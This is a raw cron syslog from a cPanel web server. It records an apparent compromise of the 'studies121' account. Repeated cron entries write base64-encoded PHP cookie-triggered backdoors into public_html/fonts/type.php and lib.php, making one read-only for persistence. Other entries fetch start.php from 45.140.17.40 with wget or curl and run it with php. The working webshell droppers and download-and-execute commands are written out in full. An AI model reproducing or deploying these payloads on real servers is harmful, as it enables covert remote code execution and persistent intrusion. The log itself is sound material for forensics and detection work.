Sep  5 19:51:01 ip-184-168-122-23 CROND[17233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:52:01 ip-184-168-122-23 CROND[17328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:52:01 ip-184-168-122-23 CROND[17329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:52:01 ip-184-168-122-23 CROND[17330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:52:01 ip-184-168-122-23 CROND[17333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:52:02 ip-184-168-122-23 CROND[17332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:53:01 ip-184-168-122-23 CROND[17421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:53:01 ip-184-168-122-23 CROND[17424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:53:01 ip-184-168-122-23 CROND[17422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:53:01 ip-184-168-122-23 CROND[17423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:54:01 ip-184-168-122-23 CROND[17497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:54:01 ip-184-168-122-23 CROND[17498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:54:01 ip-184-168-122-23 CROND[17500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:54:01 ip-184-168-122-23 CROND[17501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:54:01 ip-184-168-122-23 CROND[17499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:55:01 ip-184-168-122-23 CROND[17583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:55:01 ip-184-168-122-23 CROND[17587]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:55:01 ip-184-168-122-23 CROND[17585]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:55:01 ip-184-168-122-23 CROND[17586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:55:01 ip-184-168-122-23 CROND[17588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:55:01 ip-184-168-122-23 CROND[17589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:56:01 ip-184-168-122-23 CROND[17760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:56:01 ip-184-168-122-23 CROND[17764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:56:01 ip-184-168-122-23 CROND[17763]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:56:01 ip-184-168-122-23 CROND[17762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:56:01 ip-184-168-122-23 CROND[17765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:57:01 ip-184-168-122-23 CROND[17847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:57:01 ip-184-168-122-23 CROND[17849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:57:01 ip-184-168-122-23 CROND[17850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:57:01 ip-184-168-122-23 CROND[17853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:58:02 ip-184-168-122-23 CROND[17938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:58:02 ip-184-168-122-23 CROND[17940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:58:02 ip-184-168-122-23 CROND[17943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:58:02 ip-184-168-122-23 CROND[17942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:58:02 ip-184-168-122-23 CROND[17941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:59:01 ip-184-168-122-23 CROND[18028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:59:01 ip-184-168-122-23 CROND[18029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:59:01 ip-184-168-122-23 CROND[18030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:59:01 ip-184-168-122-23 CROND[18031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:00:02 ip-184-168-122-23 CROND[18117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:00:02 ip-184-168-122-23 CROND[18122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:00:02 ip-184-168-122-23 CROND[18123]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:00:02 ip-184-168-122-23 CROND[18120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:00:02 ip-184-168-122-23 CROND[18118]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:00:02 ip-184-168-122-23 CROND[18121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:00:02 ip-184-168-122-23 CROND[18126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:00:02 ip-184-168-122-23 CROND[18125]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 20:00:02 ip-184-168-122-23 CROND[18119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:01:01 ip-184-168-122-23 CROND[18218]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 20:01:01 ip-184-168-122-23 CROND[18219]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 20:01:01 ip-184-168-122-23 CROND[18222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:01:01 ip-184-168-122-23 CROND[18224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:01:01 ip-184-168-122-23 CROND[18225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18218]: starting 0anacron
Sep  5 20:01:01 ip-184-168-122-23 CROND[18226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18240]: finished 0anacron
Sep  5 20:02:01 ip-184-168-122-23 CROND[18314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:02:01 ip-184-168-122-23 CROND[18316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:02:01 ip-184-168-122-23 CROND[18318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:02:01 ip-184-168-122-23 CROND[18320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:02:01 ip-184-168-122-23 CROND[18317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:03:01 ip-184-168-122-23 CROND[18413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:03:01 ip-184-168-122-23 CROND[18414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:03:01 ip-184-168-122-23 CROND[18415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
